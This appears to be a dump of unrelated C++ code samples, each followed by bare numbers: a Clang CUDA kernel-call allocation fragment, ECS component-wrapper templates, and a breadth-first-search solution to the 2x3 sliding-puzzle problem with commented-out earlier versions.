CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/END_PREARG, NumArgs); void *Mem = Ctx.Allocate(sizeof(CUDAKernelCallExpr) + SizeOfTrailingObjects, alignof(CUDAKernelCallExpr)); return new (Mem) CUDAKernelCallExpr(Fn, Config, Args, Ty, VK, RP, MinNumArgs); } CUDAKernelCallExpr *CUDAKernelCallExpr::CreateEmpty(const ASTContext &Ctx, unsigned NumArgs, EmptyShell Empty) { // Allocate storage for the trailing objects of CallExpr. unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/END_PREARG, NumArgs); void *Mem = Ctx.Allocate(sizeof(CUDAKernelCallExpr) + SizeOfTrailingObjects, alignof(CUDAKernelCallExpr)); return new (Mem) CUDAKernelCallExpr(NumArgs, Empty); }
71,913
21,460
namespace ecs { template <typename ComponentT> ComponentWrapper<ComponentT>::ComponentWrapper(const uint64 &entity_id) : m_component(), m_entityID(entity_id) { } template <typename ComponentT> ComponentWrapper<ComponentT>::ComponentWrapper(const ComponentT &comp) : m_component(comp), m_entityID(0) { } template <typename ComponentT> const ComponentT &ComponentWrapper<ComponentT>::operator()() const { return m_component; } template <typename ComponentT> ComponentT &ComponentWrapper<ComponentT>::operator()() { return m_component; } template <typename ComponentT> const uint64 &ComponentWrapper<ComponentT>::eID() const { return m_entityID; } template <typename ComponentT> const ComponentT &ComponentWrapper<ComponentT>::eComponent() const { return m_component; } template <typename ComponentT> ComponentT &ComponentWrapper<ComponentT>::eComponent() { return m_component; } template <typename ComponentT> void ComponentWrapper<ComponentT>::printType() const { std::cout << util::type_name_to_string<ComponentT>(); } } // namespace ecs
1,054
313
#include <iostream> #include <vector> #include <map> #include <queue> #include <string> #include <unordered_map> #include <unordered_set> using namespace std; //// 83.56% , 100.00% class Solution { public: int slidingPuzzle(vector<vector<int>>& board) { string final_state = "123450"; unordered_set<string> visited; vector<vector<int>> possible_step = { {1, 3}, {0, 2, 4}, {1, 5}, {0, 4}, {1, 3, 5}, {2, 4} }; string myboard; for (auto &row : board) { for (auto & x : row) myboard+=to_string(x); } int position_0 = 0; for (int i = 0; i < myboard.length(); ++i) { if (myboard[i] == '0') { position_0 = i; break; } } queue<tuple<int, string, int>> bas; // <position_0, board, level> bas.emplace(make_tuple(position_0, myboard, 0)); visited.insert(myboard); int tmp_position_0; string tmp_board; int cur_level; while (!bas.empty()) { tie(tmp_position_0, tmp_board, cur_level) = bas.front(); bas.pop(); if (tmp_board == final_state) return cur_level; for (auto & possible_position : possible_step[tmp_position_0]) { swap(tmp_board[possible_position], tmp_board[tmp_position_0]); if (visited.find(tmp_board) == visited.end()) { bas.emplace(make_tuple(possible_position, tmp_board, cur_level+1)); visited.insert(tmp_board); } swap(tmp_board[possible_position], tmp_board[tmp_position_0]); } } return -1; } }; //// 27.45%, 16.67% //// convert to 1-d vector //class Solution { //private: // vector<int> final_state{1,2,3,4,5,0}; // map<vector<int>, int> visited; // <board, level> // map<int, vector<int>> possible_step; // //public: // int slidingPuzzle(vector<vector<int>>& board) { // possible_step[0] = vector<int>{1,3}; // possible_step[1] = vector<int>{0,2,4}; // possible_step[2] = vector<int>{1,5}; // possible_step[3] = vector<int>{0,4}; // possible_step[4] = vector<int>{1,3,5}; // possible_step[5] = vector<int>{2,4}; // // vector<int> myboard; // for (auto &row : board) // { // for (auto & x : row) // { // myboard.emplace_back(x); // } // } // int position_0 = 0; // for (int i = 0; i < 6; ++i) // { // if (myboard[i] == 0) // { // position_0 = i; break; // } // } // // queue<pair<int, vector<int>>> bas; // bas.push(make_pair(position_0, myboard)); // visited[myboard] = 0; // while (!bas.empty()) // { // pair<int, vector<int>> cur = bas.front(); // bas.pop(); // if (cur.second == final_state) return visited[cur.second]; // vector<pair<int, vector<int>>> next_states; // for (auto & possible_position : possible_step[cur.first]) // { // vector<int> tmp = cur.second; // swap(tmp[possible_position], tmp[cur.first]); // next_states.emplace_back(make_pair(possible_position, tmp)); // } // // for (auto &next_state : next_states) // { // if (visited.find(next_state.second) == visited.end()) // { // bas.emplace(next_state); // visited[next_state.second] = visited[cur.second]+1; // } // } // } // return -1; // } //}; //// 7.2%, 16.67% //// bfs, can optimize by turning vector<vector<int>> board into string (or just one-dimensional vector) //class Solution { //private: // vector<vector<int>> move_step{{0,1},{1,0},{0,-1},{-1,0}}; // vector<vector<int>> final_state{{1,2,3},{4,5,0}}; // map<vector<vector<int>>, int> visited; // <board, level> // map<vector<int>, vector<vector<int>>> possible_step; // // vector<pair<vector<int>, vector<vector<int>>>> find_next_states(pair<vector<int>, vector<vector<int>>> &val) // { // vector<pair<vector<int>, vector<vector<int>>>> res; // for (auto & next_position : possible_step[val.first]) // { // vector<vector<int>> tmp_state = val.second; // int tmp = val.second[next_position[0]][next_position[1]]; // tmp_state[next_position[0]][next_position[1]] = 0; // tmp_state[val.first[0]][val.first[1]] = tmp; // res.emplace_back(make_pair(next_position, tmp_state)); // } // return res; // } // // static void print_board(vector<vector<int>> &board) // { // cout << board[0][0] << " " << board[0][1] << " " << board[0][2] << '\n'; // cout << board[1][0] << " " << board[1][1] << " " << board[1][2] << "\n\n"; // } // //public: // int slidingPuzzle(vector<vector<int>>& board) { // vector<int> position_0 = vector<int>(2,0); // for (int i = 0; i < board.size(); ++i) // { // for (int j = 0; j < board[0].size(); ++j) // { // if (board[i][j] == 0) // { // position_0[0] = i; position_0[1] = j; // } // } // } // // cout << "initial position at " << position_0[0] << " " << position_0[1] << '\n'; // // possible_step[{0,0}] = vector<vector<int>>{{0,1}, {1,0}}; // possible_step[{0,1}] = vector<vector<int>>{{0,0}, {0,2}, {1,1}}; // possible_step[{0,2}] = vector<vector<int>>{{0,1}, {1,2}}; // possible_step[{1,0}] = vector<vector<int>>{{0,0}, {1,1}}; // possible_step[{1,1}] = vector<vector<int>>{{0,1}, {1,0}, {1,2}}; // possible_step[{1,2}] = vector<vector<int>>{{0,2}, {1,1}}; // // queue<pair<vector<int>, vector<vector<int>>>> bas; // bas.push(make_pair(position_0, board)); // visited[board] = 0; // while (!bas.empty()) // { // pair<vector<int>, vector<vector<int>>> cur = bas.front(); // bas.pop(); //// print_board(cur.second); // if (cur.second == final_state) return visited[cur.second]; // if (visited[cur.second] > 18) return -1; // vector<pair<vector<int>, vector<vector<int>>>> next_states = find_next_states(cur); // for (auto &next_state : next_states) // { // if (visited.find(next_state.second) == visited.end()) // { // bas.emplace(next_state); // visited[next_state.second] = visited[cur.second]+1; // } // } // } // return -1; // } //}; int main() { vector<vector<int>> test_board = {{1,2,3},{4,0,5}}; // vector<vector<int>> test_board = {{3,2,4},{1,5,0}}; // vector<vector<int>> test_board = {{4,1,2},{5,0,3}}; // vector<vector<int>> test_board = {{1,2,3},{5,4,0}}; Solution test; cout << test.slidingPuzzle(test_board); return 0; }
7,313
2,504